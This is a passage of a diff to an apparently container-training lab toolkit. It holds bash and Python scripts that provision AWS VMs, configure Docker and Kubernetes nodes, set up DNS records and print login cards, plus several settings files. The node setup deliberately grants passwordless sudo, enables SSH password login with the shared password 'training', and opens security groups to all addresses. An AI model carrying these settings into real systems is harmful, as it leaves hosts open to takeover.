|
||||||
mkdir -p tags/$TAG
|
mkdir -p tags/$TAG
|
||||||
ln -s ../../$INFRA tags/$TAG/infra.sh
|
ln -s ../../$INFRA tags/$TAG/infra.sh
|
||||||
@@ -565,24 +401,20 @@ _cmd_test() {
|
|||||||
test_tag
|
test_tag
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd tmux "Log into the first node and start a tmux server"
|
|
||||||
_cmd_tmux() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
IP=$(head -1 tags/$TAG/ips.txt)
|
|
||||||
info "Opening ssh+tmux with $IP"
|
|
||||||
rm -f /tmp/tmux-$UID/default
|
|
||||||
ssh -t -L /tmp/tmux-$UID/default:/tmp/tmux-1001/default docker@$IP tmux new-session -As 0
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd helmprom "Install Helm and Prometheus"
|
_cmd helmprom "Install Helm and Prometheus"
|
||||||
_cmd_helmprom() {
|
_cmd_helmprom() {
|
||||||
TAG=$1
|
TAG=$1
|
||||||
need_tag
|
need_tag
|
||||||
pssh "
|
pssh "
|
||||||
if i_am_first_node; then
|
if grep -q node1 /tmp/node; then
|
||||||
sudo -u docker -H helm repo add stable https://kubernetes-charts.storage.googleapis.com/
|
kubectl -n kube-system get serviceaccount helm ||
|
||||||
sudo -u docker -H helm install prometheus stable/prometheus \
|
kubectl -n kube-system create serviceaccount helm
|
||||||
|
helm init --service-account helm
|
||||||
|
kubectl get clusterrolebinding helm-can-do-everything ||
|
||||||
|
kubectl create clusterrolebinding helm-can-do-everything \
|
||||||
|
--clusterrole=cluster-admin \
|
||||||
|
--serviceaccount=kube-system:helm
|
||||||
|
helm upgrade --install prometheus stable/prometheus \
|
||||||
--namespace kube-system \
|
--namespace kube-system \
|
||||||
--set server.service.type=NodePort \
|
--set server.service.type=NodePort \
|
||||||
--set server.service.nodePort=30090 \
|
--set server.service.nodePort=30090 \
|
||||||
@@ -607,50 +439,6 @@ _cmd_weavetest() {
|
|||||||
sh -c \"./weave --local status | grep Connections | grep -q ' 1 failed' || ! echo POD \""
|
sh -c \"./weave --local status | grep Connections | grep -q ' 1 failed' || ! echo POD \""
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd webssh "Install a WEB SSH server on the machines (port 1080)"
|
|
||||||
_cmd_webssh() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
pssh "
|
|
||||||
sudo apt-get update &&
|
|
||||||
sudo apt-get install python-tornado python-paramiko -y"
|
|
||||||
pssh "
|
|
||||||
[ -d webssh ] || git clone https://github.com/jpetazzo/webssh"
|
|
||||||
pssh "
|
|
||||||
for KEYFILE in /etc/ssh/*.pub; do
|
|
||||||
read a b c < \$KEYFILE; echo localhost \$a \$b
|
|
||||||
done > webssh/known_hosts"
|
|
||||||
pssh "cat >webssh.service <<EOF
|
|
||||||
[Unit]
|
|
||||||
Description=webssh
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
WorkingDirectory=/home/ubuntu/webssh
|
|
||||||
ExecStart=/usr/bin/env python run.py --fbidhttp=false --port=1080 --policy=reject
|
|
||||||
User=nobody
|
|
||||||
Group=nogroup
|
|
||||||
Restart=always
|
|
||||||
EOF"
|
|
||||||
pssh "
|
|
||||||
sudo systemctl enable \$PWD/webssh.service &&
|
|
||||||
sudo systemctl start webssh.service"
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd www "Run a web server to access card HTML and PDF"
|
|
||||||
_cmd_www() {
|
|
||||||
cd www
|
|
||||||
IPADDR=$(curl -sL canihazip.com/s)
|
|
||||||
info "The following files are available:"
|
|
||||||
for F in *; do
|
|
||||||
echo "http://$IPADDR:8000/$F"
|
|
||||||
done
|
|
||||||
info "Press Ctrl-C to stop server."
|
|
||||||
python3 -m http.server
|
|
||||||
}
|
|
||||||
|
|
||||||
greet() {
|
greet() {
|
||||||
IAMUSER=$(aws iam get-user --query 'User.UserName')
|
IAMUSER=$(aws iam get-user --query 'User.UserName')
|
||||||
info "Hello! You seem to be UNIX user $USER, and IAM user $IAMUSER."
|
info "Hello! You seem to be UNIX user $USER, and IAM user $IAMUSER."
|
||||||
@@ -708,8 +496,8 @@ test_vm() {
|
|||||||
for cmd in "hostname" \
|
for cmd in "hostname" \
|
||||||
"whoami" \
|
"whoami" \
|
||||||
"hostname -i" \
|
"hostname -i" \
|
||||||
"ls -l /usr/local/bin/i_am_first_node" \
|
"cat /tmp/node" \
|
||||||
"grep . /etc/name_of_first_node /etc/ipv4_of_first_node" \
|
"cat /tmp/ipv4" \
|
||||||
"cat /etc/hosts" \
|
"cat /etc/hosts" \
|
||||||
"hostnamectl status" \
|
"hostnamectl status" \
|
||||||
"docker version | grep Version -B1" \
|
"docker version | grep Version -B1" \
|
||||||
@@ -769,3 +557,10 @@ sync_keys() {
|
|||||||
info "Using existing key $AWS_KEY_NAME."
|
info "Using existing key $AWS_KEY_NAME."
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
|
make_tag() {
|
||||||
|
if [ -z $USER ]; then
|
||||||
|
export USER=anonymous
|
||||||
|
fi
|
||||||
|
date +%Y-%m-%d-%H-%M-$USER
|
||||||
|
}
|
||||||
|
|||||||
@@ -24,7 +24,3 @@ infra_quotas() {
|
|||||||
infra_opensg() {
|
infra_opensg() {
|
||||||
warning "infra_opensg is unsupported on $INFRACLASS."
|
warning "infra_opensg is unsupported on $INFRACLASS."
|
||||||
}
|
}
|
||||||
|
|
||||||
infra_disableaddrchecks() {
|
|
||||||
warning "infra_disableaddrchecks is unsupported on $INFRACLASS."
|
|
||||||
}
|
|
||||||
@@ -31,7 +31,6 @@ infra_start() {
|
|||||||
die "I could not find which AMI to use in this region. Try another region?"
|
die "I could not find which AMI to use in this region. Try another region?"
|
||||||
fi
|
fi
|
||||||
AWS_KEY_NAME=$(make_key_name)
|
AWS_KEY_NAME=$(make_key_name)
|
||||||
AWS_INSTANCE_TYPE=${AWS_INSTANCE_TYPE-t3a.medium}
|
|
||||||
|
|
||||||
sep "Starting instances"
|
sep "Starting instances"
|
||||||
info " Count: $COUNT"
|
info " Count: $COUNT"
|
||||||
@@ -39,11 +38,10 @@ infra_start() {
|
|||||||
info " Token/tag: $TAG"
|
info " Token/tag: $TAG"
|
||||||
info " AMI: $AMI"
|
info " AMI: $AMI"
|
||||||
info " Key name: $AWS_KEY_NAME"
|
info " Key name: $AWS_KEY_NAME"
|
||||||
info " Instance type: $AWS_INSTANCE_TYPE"
|
|
||||||
result=$(aws ec2 run-instances \
|
result=$(aws ec2 run-instances \
|
||||||
--key-name $AWS_KEY_NAME \
|
--key-name $AWS_KEY_NAME \
|
||||||
--count $COUNT \
|
--count $COUNT \
|
||||||
--instance-type $AWS_INSTANCE_TYPE \
|
--instance-type ${AWS_INSTANCE_TYPE-t2.medium} \
|
||||||
--client-token $TAG \
|
--client-token $TAG \
|
||||||
--block-device-mapping 'DeviceName=/dev/sda1,Ebs={VolumeSize=20}' \
|
--block-device-mapping 'DeviceName=/dev/sda1,Ebs={VolumeSize=20}' \
|
||||||
--image-id $AMI)
|
--image-id $AMI)
|
||||||
@@ -90,16 +88,8 @@ infra_opensg() {
|
|||||||
--cidr 0.0.0.0/0
|
--cidr 0.0.0.0/0
|
||||||
}
|
}
|
||||||
|
|
||||||
infra_disableaddrchecks() {
|
|
||||||
IDS=$(aws_get_instance_ids_by_tag $TAG)
|
|
||||||
for ID in $IDS; do
|
|
||||||
info "Disabling source/destination IP checks on: $ID"
|
|
||||||
aws ec2 modify-instance-attribute --source-dest-check "{\"Value\": false}" --instance-id $ID
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
wait_until_tag_is_running() {
|
wait_until_tag_is_running() {
|
||||||
max_retry=100
|
max_retry=50
|
||||||
i=0
|
i=0
|
||||||
done_count=0
|
done_count=0
|
||||||
while [[ $done_count -lt $COUNT ]]; do
|
while [[ $done_count -lt $COUNT ]]; do
|
||||||
|
|||||||
@@ -1,15 +1,20 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import yaml
|
import yaml
|
||||||
import jinja2
|
import jinja2
|
||||||
|
|
||||||
|
def prettify(l):
|
||||||
|
l = [ip.strip() for ip in l]
|
||||||
|
ret = [ "node{}: <code>{}</code>".format(i+1, s) for (i, s) in zip(range(len(l)), l) ]
|
||||||
|
return ret
|
||||||
|
|
||||||
# Read settings from user-provided settings file
|
# Read settings from user-provided settings file
|
||||||
context = yaml.safe_load(open(sys.argv[1]))
|
SETTINGS = yaml.load(open(sys.argv[1]))
|
||||||
|
|
||||||
|
clustersize = SETTINGS["clustersize"]
|
||||||
|
|
||||||
ips = list(open("ips.txt"))
|
ips = list(open("ips.txt"))
|
||||||
clustersize = context["clustersize"]
|
|
||||||
|
|
||||||
print("---------------------------------------------")
|
print("---------------------------------------------")
|
||||||
print(" Number of IPs: {}".format(len(ips)))
|
print(" Number of IPs: {}".format(len(ips)))
|
||||||
@@ -25,9 +30,7 @@ while ips:
|
|||||||
ips = ips[clustersize:]
|
ips = ips[clustersize:]
|
||||||
clusters.append(cluster)
|
clusters.append(cluster)
|
||||||
|
|
||||||
context["clusters"] = clusters
|
template_file_name = SETTINGS["cards_template"]
|
||||||
|
|
||||||
template_file_name = context["cards_template"]
|
|
||||||
template_file_path = os.path.join(
|
template_file_path = os.path.join(
|
||||||
os.path.dirname(__file__),
|
os.path.dirname(__file__),
|
||||||
"..",
|
"..",
|
||||||
@@ -36,21 +39,18 @@ template_file_path = os.path.join(
|
|||||||
)
|
)
|
||||||
template = jinja2.Template(open(template_file_path).read())
|
template = jinja2.Template(open(template_file_path).read())
|
||||||
with open("ips.html", "w") as f:
|
with open("ips.html", "w") as f:
|
||||||
f.write(template.render(**context))
|
f.write(template.render(clusters=clusters, **SETTINGS))
|
||||||
print("Generated ips.html")
|
print("Generated ips.html")
|
||||||
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import pdfkit
|
import pdfkit
|
||||||
paper_size = context["paper_size"]
|
|
||||||
margin = {"A4": "0.5cm", "Letter": "0.2in"}[paper_size]
|
|
||||||
with open("ips.html") as f:
|
with open("ips.html") as f:
|
||||||
pdfkit.from_file(f, "ips.pdf", options={
|
pdfkit.from_file(f, "ips.pdf", options={
|
||||||
"page-size": paper_size,
|
"page-size": SETTINGS["paper_size"],
|
||||||
"margin-top": margin,
|
"margin-top": SETTINGS["paper_margin"],
|
||||||
"margin-bottom": margin,
|
"margin-bottom": SETTINGS["paper_margin"],
|
||||||
"margin-left": margin,
|
"margin-left": SETTINGS["paper_margin"],
|
||||||
"margin-right": margin,
|
"margin-right": SETTINGS["paper_margin"],
|
||||||
})
|
})
|
||||||
print("Generated ips.pdf")
|
print("Generated ips.pdf")
|
||||||
except ImportError:
|
except ImportError:
|
||||||
|
|||||||
@@ -12,7 +12,6 @@ config = yaml.load(open("/tmp/settings.yaml"))
|
|||||||
COMPOSE_VERSION = config["compose_version"]
|
COMPOSE_VERSION = config["compose_version"]
|
||||||
MACHINE_VERSION = config["machine_version"]
|
MACHINE_VERSION = config["machine_version"]
|
||||||
CLUSTER_SIZE = config["clustersize"]
|
CLUSTER_SIZE = config["clustersize"]
|
||||||
CLUSTER_PREFIX = config["clusterprefix"]
|
|
||||||
ENGINE_VERSION = config["engine_version"]
|
ENGINE_VERSION = config["engine_version"]
|
||||||
DOCKER_USER_PASSWORD = config["docker_user_password"]
|
DOCKER_USER_PASSWORD = config["docker_user_password"]
|
||||||
|
|
||||||
@@ -65,15 +64,6 @@ system("""sudo -u docker tee -a /home/docker/.bashrc <<SQRL
|
|||||||
export PS1='\e[1m\e[31m[{}] \e[32m(\\$(docker-prompt)) \e[34m\u@\h\e[35m \w\e[0m\n$ '
|
export PS1='\e[1m\e[31m[{}] \e[32m(\\$(docker-prompt)) \e[34m\u@\h\e[35m \w\e[0m\n$ '
|
||||||
SQRL""".format(ipv4))
|
SQRL""".format(ipv4))
|
||||||
|
|
||||||
# Bigger history, in a different file, and saved before executing each command
|
|
||||||
system("""sudo -u docker tee -a /home/docker/.bashrc <<SQRL
|
|
||||||
export HISTSIZE=9999
|
|
||||||
export HISTFILESIZE=9999
|
|
||||||
shopt -s histappend
|
|
||||||
trap 'history -a' DEBUG
|
|
||||||
export HISTFILE=~/.history
|
|
||||||
SQRL""")
|
|
||||||
|
|
||||||
# Custom .vimrc
|
# Custom .vimrc
|
||||||
system("""sudo -u docker tee /home/docker/.vimrc <<SQRL
|
system("""sudo -u docker tee /home/docker/.vimrc <<SQRL
|
||||||
syntax on
|
syntax on
|
||||||
@@ -82,29 +72,8 @@ set expandtab
|
|||||||
set number
|
set number
|
||||||
set shiftwidth=2
|
set shiftwidth=2
|
||||||
set softtabstop=2
|
set softtabstop=2
|
||||||
set nowrap
|
|
||||||
SQRL""")
|
SQRL""")
|
||||||
|
|
||||||
# Custom .tmux.conf
|
|
||||||
system(
|
|
||||||
"""sudo -u docker tee /home/docker/.tmux.conf <<SQRL
|
|
||||||
bind h select-pane -L
|
|
||||||
bind j select-pane -D
|
|
||||||
bind k select-pane -U
|
|
||||||
bind l select-pane -R
|
|
||||||
|
|
||||||
# Allow using mouse to switch panes
|
|
||||||
set -g mouse on
|
|
||||||
|
|
||||||
# Make scrolling with wheels work
|
|
||||||
|
|
||||||
bind -n WheelUpPane if-shell -F -t = "#{mouse_any_flag}" "send-keys -M" "if -Ft= '#{pane_in_mode}' 'send-keys -M' 'select-pane -t=; copy-mode -e; send-keys -M'"
|
|
||||||
bind -n WheelDownPane select-pane -t= \; send-keys -M
|
|
||||||
|
|
||||||
SQRL"""
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
# add docker user to sudoers and allow password authentication
|
# add docker user to sudoers and allow password authentication
|
||||||
system("""sudo tee /etc/sudoers.d/docker <<SQRL
|
system("""sudo tee /etc/sudoers.d/docker <<SQRL
|
||||||
docker ALL=(ALL) NOPASSWD:ALL
|
docker ALL=(ALL) NOPASSWD:ALL
|
||||||
@@ -115,7 +84,6 @@ system("sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /e
|
|||||||
system("sudo service ssh restart")
|
system("sudo service ssh restart")
|
||||||
system("sudo apt-get -q update")
|
system("sudo apt-get -q update")
|
||||||
system("sudo apt-get -qy install git jq")
|
system("sudo apt-get -qy install git jq")
|
||||||
system("sudo apt-get -qy install emacs-nox joe")
|
|
||||||
|
|
||||||
#######################
|
#######################
|
||||||
### DOCKER INSTALLS ###
|
### DOCKER INSTALLS ###
|
||||||
@@ -153,7 +121,7 @@ addresses = list(l.strip() for l in sys.stdin)
|
|||||||
assert ipv4 in addresses
|
assert ipv4 in addresses
|
||||||
|
|
||||||
def makenames(addrs):
|
def makenames(addrs):
|
||||||
return [ "%s%s"%(CLUSTER_PREFIX, i+1) for i in range(len(addrs)) ]
|
return [ "node%s"%(i+1) for i in range(len(addrs)) ]
|
||||||
|
|
||||||
while addresses:
|
while addresses:
|
||||||
cluster = addresses[:CLUSTER_SIZE]
|
cluster = addresses[:CLUSTER_SIZE]
|
||||||
@@ -167,21 +135,15 @@ while addresses:
|
|||||||
print(cluster)
|
print(cluster)
|
||||||
|
|
||||||
mynode = cluster.index(ipv4) + 1
|
mynode = cluster.index(ipv4) + 1
|
||||||
system("echo {}{} | sudo tee /etc/hostname".format(CLUSTER_PREFIX, mynode))
|
system("echo node{} | sudo -u docker tee /tmp/node".format(mynode))
|
||||||
system("sudo hostname {}{}".format(CLUSTER_PREFIX, mynode))
|
system("echo node{} | sudo tee /etc/hostname".format(mynode))
|
||||||
|
system("sudo hostname node{}".format(mynode))
|
||||||
system("sudo -u docker mkdir -p /home/docker/.ssh")
|
system("sudo -u docker mkdir -p /home/docker/.ssh")
|
||||||
system("sudo -u docker touch /home/docker/.ssh/authorized_keys")
|
system("sudo -u docker touch /home/docker/.ssh/authorized_keys")
|
||||||
|
|
||||||
# Create a convenience file to easily check if we're the first node
|
|
||||||
if ipv4 == cluster[0]:
|
if ipv4 == cluster[0]:
|
||||||
system("sudo ln -sf /bin/true /usr/local/bin/i_am_first_node")
|
# If I'm node1 and don't have a private key, generate one (with empty passphrase)
|
||||||
# On the first node, if we don't have a private key, generate one (with empty passphrase)
|
|
||||||
system("sudo -u docker [ -f /home/docker/.ssh/id_rsa ] || sudo -u docker ssh-keygen -t rsa -f /home/docker/.ssh/id_rsa -P ''")
|
system("sudo -u docker [ -f /home/docker/.ssh/id_rsa ] || sudo -u docker ssh-keygen -t rsa -f /home/docker/.ssh/id_rsa -P ''")
|
||||||
else:
|
|
||||||
system("sudo ln -sf /bin/false /usr/local/bin/i_am_first_node")
|
|
||||||
# Record the IPV4 and name of the first node
|
|
||||||
system("echo {} | sudo tee /etc/ipv4_of_first_node".format(cluster[0]))
|
|
||||||
system("echo {} | sudo tee /etc/name_of_first_node".format(names[0]))
|
|
||||||
|
|
||||||
FINISH = time.time()
|
FINISH = time.time()
|
||||||
duration = "Initial deployment took {}s".format(str(FINISH - START)[:5])
|
duration = "Initial deployment took {}s".format(str(FINISH - START)[:5])
|
||||||
|
|||||||
@@ -1,42 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<title>bash history</title>
|
|
||||||
<style>
|
|
||||||
#log {
|
|
||||||
font: bold 24px courier;
|
|
||||||
}
|
|
||||||
|
|
||||||
#log div:last-child {
|
|
||||||
background: yellow;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
|
|
||||||
<div id="log"></div>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
var ws = new WebSocket('ws://' + (location.host ? location.host : "localhost:8080") + "/");
|
|
||||||
var log = document.getElementById('log');
|
|
||||||
var echo = function(text) {
|
|
||||||
var line = document.createElement('div');
|
|
||||||
line.textContent = text;
|
|
||||||
log.appendChild(line);
|
|
||||||
line.scrollIntoView();
|
|
||||||
}
|
|
||||||
ws.onopen = function() {
|
|
||||||
document.body.style.backgroundColor = '#cfc';
|
|
||||||
};
|
|
||||||
ws.onclose = function() {
|
|
||||||
document.body.style.backgroundColor = '#fcc';
|
|
||||||
echo("Disconnected from server. Try to reload this page?");
|
|
||||||
};
|
|
||||||
ws.onmessage = function(event) {
|
|
||||||
echo(event.data);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
|
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
import os
|
|
||||||
import requests
|
|
||||||
import yaml
|
|
||||||
|
|
||||||
# configurable stuff
|
|
||||||
domains_file = "../../plentydomains/domains.txt"
|
|
||||||
config_file = os.path.join(
|
|
||||||
os.environ["HOME"], ".config/gandi/config.yaml")
|
|
||||||
tag = "test"
|
|
||||||
apiurl = "https://dns.api.gandi.net/api/v5/domains"
|
|
||||||
|
|
||||||
# inferred stuff
|
|
||||||
domains = open(domains_file).read().split()
|
|
||||||
apikey = yaml.safe_load(open(config_file))["apirest"]["key"]
|
|
||||||
ips = open(f"tags/{tag}/ips.txt").read().split()
|
|
||||||
settings_file = f"tags/{tag}/settings.yaml"
|
|
||||||
clustersize = yaml.safe_load(open(settings_file))["clustersize"]
|
|
||||||
|
|
||||||
# now do the fucking work
|
|
||||||
while domains and ips:
|
|
||||||
domain = domains[0]
|
|
||||||
domains = domains[1:]
|
|
||||||
cluster = ips[:clustersize]
|
|
||||||
ips = ips[clustersize:]
|
|
||||||
print(f"{domain} => {cluster}")
|
|
||||||
zone = ""
|
|
||||||
node = 0
|
|
||||||
for ip in cluster:
|
|
||||||
node += 1
|
|
||||||
zone += f"@ 300 IN A {ip}\n"
|
|
||||||
zone += f"* 300 IN A {ip}\n"
|
|
||||||
zone += f"node{node} 300 IN A {ip}\n"
|
|
||||||
r = requests.put(
|
|
||||||
f"{apiurl}/{domain}/records",
|
|
||||||
headers={"x-api-key": apikey},
|
|
||||||
data=zone)
|
|
||||||
print(r.text)
|
|
||||||
|
|
||||||
#r = requests.get(
|
|
||||||
# f"{apiurl}/{domain}/records",
|
|
||||||
# headers={"x-api-key": apikey},
|
|
||||||
# )
|
|
||||||
|
|
||||||
if domains:
|
|
||||||
print(f"Good, we have {len(domains)} domains left.")
|
|
||||||
|
|
||||||
if ips:
|
|
||||||
print(f"Crap, we have {len(ips)} IP addresses left.")
|
|
||||||
@@ -1,23 +0,0 @@
|
|||||||
# Number of VMs per cluster
|
|
||||||
clustersize: 1
|
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: dmuc
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
|
||||||
cards_template: cards.html
|
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
|
||||||
paper_size: A4
|
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
|
||||||
engine_version: stable
|
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
|
||||||
compose_version: 1.24.1
|
|
||||||
machine_version: 0.14.0
|
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
|
||||||
docker_user_password: training
|
|
||||||
|
|
||||||
image:
|
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
# Number of VMs per cluster
|
|
||||||
clustersize: 3
|
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: kuberouter
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
|
||||||
cards_template: cards.html
|
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
|
||||||
paper_size: A4
|
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
|
||||||
engine_version: stable
|
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
|
||||||
compose_version: 1.24.1
|
|
||||||
machine_version: 0.14.0
|
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
|
||||||
docker_user_password: training
|
|
||||||
|
|
||||||
clusternumber: 200
|
|
||||||
image:
|
|
||||||
@@ -1,23 +0,0 @@
|
|||||||
# Number of VMs per cluster
|
|
||||||
clustersize: 3
|
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: test
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
|
||||||
cards_template: cards.html
|
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
|
||||||
paper_size: A4
|
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
|
||||||
engine_version: stable
|
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
|
||||||
compose_version: 1.24.1
|
|
||||||
machine_version: 0.14.0
|
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
|
||||||
docker_user_password: training
|
|
||||||
|
|
||||||
image:
|
|
||||||
@@ -1,8 +1,5 @@
|
|||||||
# Number of VMs per cluster
|
# Number of VMs per cluster
|
||||||
clustersize: 5
|
clustersize: 5
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: node
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
# Jinja2 template to use to generate ready-to-cut cards
|
||||||
cards_template: clusters.csv
|
cards_template: clusters.csv
|
||||||
|
|||||||
@@ -1,24 +1,25 @@
|
|||||||
# Number of VMs per cluster
|
# Number of VMs per cluster
|
||||||
clustersize: 3
|
clustersize: 5
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: kubenet
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
# Jinja2 template to use to generate ready-to-cut cards
|
||||||
cards_template: cards.html
|
cards_template: enix.html
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
# Use "Letter" in the US, and "A4" everywhere else
|
||||||
paper_size: A4
|
paper_size: A4
|
||||||
|
|
||||||
|
# Feel free to reduce this if your printer can handle it
|
||||||
|
paper_margin: 0.2in
|
||||||
|
|
||||||
|
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
|
||||||
|
# If you print (or generate a PDF) using ips.html, they will be ignored.
|
||||||
|
# (The equivalent parameters must be set from the browser's print dialog.)
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
# This can be "test" or "stable"
|
||||||
engine_version: stable
|
engine_version: stable
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||||
compose_version: 1.24.1
|
compose_version: 1.22.0
|
||||||
machine_version: 0.14.0
|
machine_version: 0.14.0
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
# Password used to connect with the "docker user"
|
||||||
docker_user_password: training
|
docker_user_password: training
|
||||||
|
|
||||||
clusternumber: 100
|
|
||||||
image:
|
|
||||||
@@ -3,20 +3,24 @@
|
|||||||
# Number of VMs per cluster
|
# Number of VMs per cluster
|
||||||
clustersize: 5
|
clustersize: 5
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: node
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
# Jinja2 template to use to generate ready-to-cut cards
|
||||||
cards_template: cards.html
|
cards_template: cards.html
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
# Use "Letter" in the US, and "A4" everywhere else
|
||||||
paper_size: Letter
|
paper_size: Letter
|
||||||
|
|
||||||
|
# Feel free to reduce this if your printer can handle it
|
||||||
|
paper_margin: 0.2in
|
||||||
|
|
||||||
|
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
|
||||||
|
# If you print (or generate a PDF) using ips.html, they will be ignored.
|
||||||
|
# (The equivalent parameters must be set from the browser's print dialog.)
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
# This can be "test" or "stable"
|
||||||
engine_version: test
|
engine_version: test
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||||
compose_version: 1.24.1
|
compose_version: 1.18.0
|
||||||
machine_version: 0.13.0
|
machine_version: 0.13.0
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
# Password used to connect with the "docker user"
|
||||||
|
|||||||
@@ -3,20 +3,24 @@
|
|||||||
# Number of VMs per cluster
|
# Number of VMs per cluster
|
||||||
clustersize: 1
|
clustersize: 1
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: node
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
# Jinja2 template to use to generate ready-to-cut cards
|
||||||
cards_template: cards.html
|
cards_template: cards.html
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
# Use "Letter" in the US, and "A4" everywhere else
|
||||||
paper_size: Letter
|
paper_size: Letter
|
||||||
|
|
||||||
|
# Feel free to reduce this if your printer can handle it
|
||||||
|
paper_margin: 0.2in
|
||||||
|
|
||||||
|
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
|
||||||
|
# If you print (or generate a PDF) using ips.html, they will be ignored.
|
||||||
|
# (The equivalent parameters must be set from the browser's print dialog.)
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
# This can be "test" or "stable"
|
||||||
engine_version: stable
|
engine_version: stable
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||||
compose_version: 1.25.4
|
compose_version: 1.22.0
|
||||||
machine_version: 0.15.0
|
machine_version: 0.15.0
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
# Password used to connect with the "docker user"
|
||||||
|
|||||||
@@ -1,22 +1,25 @@
|
|||||||
# Number of VMs per cluster
|
# Number of VMs per cluster
|
||||||
clustersize: 4
|
clustersize: 4
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: node
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
# Jinja2 template to use to generate ready-to-cut cards
|
||||||
cards_template: cards.html
|
cards_template: jerome.html
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
# Use "Letter" in the US, and "A4" everywhere else
|
||||||
paper_size: Letter
|
paper_size: Letter
|
||||||
|
|
||||||
|
# Feel free to reduce this if your printer can handle it
|
||||||
|
paper_margin: 0.2in
|
||||||
|
|
||||||
|
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
|
||||||
|
# If you print (or generate a PDF) using ips.html, they will be ignored.
|
||||||
|
# (The equivalent parameters must be set from the browser's print dialog.)
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
# This can be "test" or "stable"
|
||||||
engine_version: stable
|
engine_version: stable
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||||
compose_version: 1.25.4
|
compose_version: 1.21.1
|
||||||
machine_version: 0.14.0
|
machine_version: 0.14.0
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
# Password used to connect with the "docker user"
|
||||||
docker_user_password: training
|
docker_user_password: training
|
||||||
|
|
||||||
|
|||||||
@@ -3,22 +3,25 @@
|
|||||||
# Number of VMs per cluster
|
# Number of VMs per cluster
|
||||||
clustersize: 3
|
clustersize: 3
|
||||||
|
|
||||||
